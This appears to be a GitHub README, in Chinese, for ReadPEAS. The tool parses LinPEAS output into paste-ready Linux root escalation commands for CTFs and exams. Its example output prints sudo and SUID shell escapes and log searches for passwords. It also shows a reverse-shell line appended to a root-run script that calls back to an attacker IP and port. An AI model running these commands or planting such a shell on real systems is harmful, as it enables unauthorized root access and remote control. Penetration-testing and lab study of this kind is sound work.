alisalive/ReadPEAS

GitHub: alisalive/ReadPEAS

ReadPEAS 将 LinPEAS 输出解析为可直接执行的 Linux 提权命令,纯离线规则匹配,无需 AI 或网络连接。

Stars: 2 | Forks: 0

``` ____ _ ____ _____ _ ____ | _ \ ___ __ _ __| | _ \| ____| / \ / ___| | |_) / _ \/ _` |/ _` | |_) | _| / _ \ \___ \ | _ < __/ (_| | (_| | __/| |___ / ___ \ ___) | |_| \_\___|\__,_|\__,_|_| |_____/_/ \_\____/ ``` ReadPEAS 将 LinPEAS 的输出转换为一行可直接复制粘贴以获取 root 权限的命令。只需将其指向 LinPEAS 的 dump 文件,它就会告诉你当前最适合执行的单条提权 (privesc) 命令 —— 无需 AI,无需 网络连接,完全离线。专为 CTF 和考试场景 (OSCP, HTB, THM)中的极速操作而构建,在这些不允许使用 AI 工具且你没有时间 滚动浏览满屏 LinPEAS 输出的场景下尤为好用。 ## 安装 ``` git clone https://github.com/alisalive/ReadPEAS.git cd ReadPEAS pip install -e . --break-system-packages ``` 这将在全局安装 `readpeas` 命令(可编辑安装 —— 无外部 pip 依赖,仅使用标准库)。 ## 快速开始 ``` readpeas linpeas_output.txt ``` `--ip`/`--port` 是**你自己的攻击者/监听器地址** —— 它们与 读取 LinPEAS 文件毫无关系。仅在自动填充生成的 exploit 命令中 需要 reverse-shell 回调(例如:将 payload 追加到可写脚本中)的 `LHOST`/`LPORT` 占位符时使用。任何 不需要回调的发现(kernel exploit、sudo/SUID GTFOBins 命令等)都会完全忽略 `--ip`/`--port`。 ``` readpeas linpeas_output.txt --ip 10.10.14.5 --port 4444 ``` `-f`/`--file` 仍作为文件路径的弃用别名 (`readpeas -f linpeas_output.txt`)保留,以保持向后兼容。 ## Flags | Flag | 描述 | |-------------------|--------------| | `file` (positional) | LinPEAS 输出文件的路径(必需,除非通过 stdin 管道传入) | | `-f`, `--file` | 传递文件的替代方式(已弃用,但仍支持) | | `--ip` | 攻击者 LHOST —— 替换到需要回调的 reverse-shell 命令中 | | `--port` | 攻击者 LPORT —— 替换到 reverse-shell 命令中(默认:`4444`) | | `--tldr` | 仅打印最佳的单条命令,不输出其他任何内容 | | `--top` | 最多打印 3 条最佳发现,内容紧凑 | | `--all` | 打印所有发现,包含完整修饰信息 | | `--only` | 按严重程度过滤发现(`critical`, `high`, `info`, ...) | | `-o`, `--output` | 输出格式:`terminal`(默认)、`json` 或 `markdown` | | `--version` | 显示版本号并退出 | | `-h`, `--help` | 显示用法 | ## 实际输出示例 针对真实的 HTB Fowsniff LinPEAS dump 运行: ``` $ readpeas fowsniff_linpeas.txt --ip 192.168.158.220 --port 4444 [CRITICAL] sudo -> vim (/usr/bin/vim) sudo /usr/bin/vim -c ':shell' Run with --all to see all 5 findings. ``` 加上 `--all` 查看同一文件(展示所有发现及完整修饰信息): ``` $ readpeas fowsniff_linpeas.txt --all --ip 192.168.158.220 --port 4444 [*] OS: linux [*] Total findings: 5 [CRITICAL] sudo -> vim (/usr/bin/vim) TRY FIRST: $ sudo /usr/bin/vim -c ':shell' Other options (11 more): $ sudo /usr/bin/vim -c ':!/bin/sh' /dev/null $ sudo /usr/bin/vim -c ':set shell=/bin/sh | shell' ... ------------------------------------------------------------ [CRITICAL] suid -> find (/usr/bin/find) TRY FIRST: $ /usr/bin/find . -exec /bin/sh -p \; -quit Other options (2 more): $ /usr/bin/find /path/to/input-file -exec cat {} \; $ /usr/bin/find / -fprintf /path/to/output-file DATA -quit ------------------------------------------------------------ [HIGH] capabilities -> systemd-detect-virt (/usr/bin/systemd-detect-virt) [cap_dac_override,cap_sys_ptrace+ep] Note: cap_dac_override,cap_sys_ptrace+ep — can bypass file read/write permission checks. Investigate: may allow reading /etc/shadow or overwriting protected files. No exploit commands found. ------------------------------------------------------------ [HIGH] group -> adm adm group can read system logs - may contain passwords TRY FIRST: $ grep -r 'password\|passwd\|secret' /var/log/ 2>/dev/null Other options (1 more): $ cat /var/log/auth.log | grep -i 'password' ------------------------------------------------------------ [HIGH] writable_exec_script -> /opt/cube/cube.sh (Group-writable executable script in system directory — may be called by root) TRY FIRST: $ cat /etc/update-motd.d/* 2>/dev/null | grep -F '/opt/cube/cube.sh' Other options (4 more): $ grep -r '/opt/cube/cube.sh' /etc/cron* /etc/rc* /etc/init.d/ 2>/dev/null $ # If called by root — append a reverse shell: $ echo 'bash -i >& /dev/tcp/192.168.158.220/4444 0>&1' >> /opt/cube/cube.sh $ # Then trigger by SSHing in or waiting for cron/service restart ``` 加上 `--tldr` 查看同一文件(仅输出可直接粘贴的命令,无其他内容): ``` $ readpeas fowsniff_linpeas.txt --tldr --ip 192.168.158.220 --port 4444 sudo /usr/bin/vim -c ':shell' ``` ## 输出模式 - **(默认)** —— 仅展示最优的可直接粘贴的提权命令,挑选依据是 严重程度,其次是固定的模块优先级顺序。会告诉你还有 多少条其他发现,以便你知道何时该查看 `--all`。 - **`--tldr`** —— *仅*打印该命令(或手动操作步骤),不输出其他任何内容。 专为直接通过管道传递给 shell 而设计。 - **`--top`** —— 最多 3 条最佳的可直接粘贴的发现,格式紧凑,带编号。 - **`--all`** —— 找到的每一条发现,包含所有替代命令的完整修饰 (原始/完整详细视图)。 还提供了 `-o json` / `-o markdown` 用于结构化导出。 ## 检测内容 - **sudo 配置错误** —— 解析 `sudo -l` 规则并查询 GTFOBins,包括 `(ALL, !root) NOPASSWD` `sudo -u#-1` 绕过 (CVE-2019-14287)、`env_keep` `LD_PRELOAD`/`LD_LIBRARY_PATH` 注入,以及 SETENV sudo 规则的 `PYTHONPATH` 劫持。 - **SUID / GTFOBins** —— 将 SUID 二进制文件与离线 GTFOBins 数据库进行交叉比对。 - **Capabilities** —— 可被利用的 Linux capabilities(`cap_setuid`、 `cap_dac_override` 等)与 GTFOBins 交叉比对。 - **Cron / PATH** —— 可写的 cron 脚本和 `cron.d` 文件、间接的 cron-PATH 劫持、cron 脚本中的 tar-wildcard 注入,以及 `$PATH` 中的全局可写 目录。 - **Kernel exploit** —— 针对 DirtyPipe (CVE-2022-0847)、 DirtyCow (CVE-2016-5195)、PwnKit (CVE-2021-4034) 和 Baron Samedit (CVE-2021-3156) 的精选检测,在适用的地方结合 kernel/sudo 版本和 SUID 位进行交叉核对,以减少通用 exploit-suggester 输出带来的误报。 - **Groups** —— 危险的用户组成员身份(docker, lxd, adm, disk, shadow、 video),并为 docker/lxd 提供完整的逃逸链。 - **可写文件** —— `/etc/passwd`/`shadow`/`sudoers`/`crontab`、可写的 `update-motd.d` 脚本、可写的 systemd 服务二进制文件,以及系统目录下组可写的 可执行脚本。 - **凭证** —— 在可读文件中发现硬编码的密码、 DB 连接字符串、云凭证文件以及 Ansible Vault 机密。 - **NFS / logrotate / systemd / MySQL / Docker socket** —— `no_root_squash` NFS 导出、可被 `logrotten` 利用的 logrotate 配置、可写的 systemd unit/timer 文件、以 root 身份运行的 mysqld(UDF 注入)以及可写的 Docker socket。 - **SSH 密钥** —— 可读的私钥,并标明其是否已加密。 - **screen / tmux** —— screen 4.5.0 SUID exploit (EDB-41154) 以及可写的 root 用户拥有的 tmux socket。 ## 平台 ReadPEAS 解析 Linux LinPEAS 输出并在 Linux 上运行。 ## 测试 ``` pip install -e .[dev] --break-system-packages pytest tests/ -v ``` 目前有 260 个测试通过。 ## 贡献 / 重建 GTFOBins 数据库 离线 GTFOBins 数据库(`data/gtfobins.json`)由以下命令生成: ``` python scripts/build_gtfobins.py ``` 这会浅克隆 GTFOBins 仓库,解析其 YAML 条目,并重写 `data/gtfobins.json`。需要 `git`。 ## 免责声明 仅供授权的渗透测试、CTF 比赛和教育用途使用。
标签:CSV导出, Homebrew安装, Web报告查看器, 协议分析, 安全规则引擎, 权限提升, 自动化分析, 跨站脚本, 逆向工具